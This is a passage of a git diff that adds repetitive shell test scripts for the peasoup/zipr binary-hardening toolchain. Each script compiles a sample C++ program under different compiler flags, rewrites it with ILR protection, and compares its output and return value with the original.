+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6e50aa59f3441b00bd1ed819cdb9818517f502db
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..91794ec5bb9d3daca347988781a7c47d12e33c4b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9e02b58f9c660abc4c99c74865c0fb862ea143e4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0e028b12132f8a062ea3bcb4de28aa13fba1fe2e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ed4d1a444f4e5e7c004b34cfb0566f878c4b88e5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..49b2bd849c1eb453e6d5184fc2afe1e7cda31ecf
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
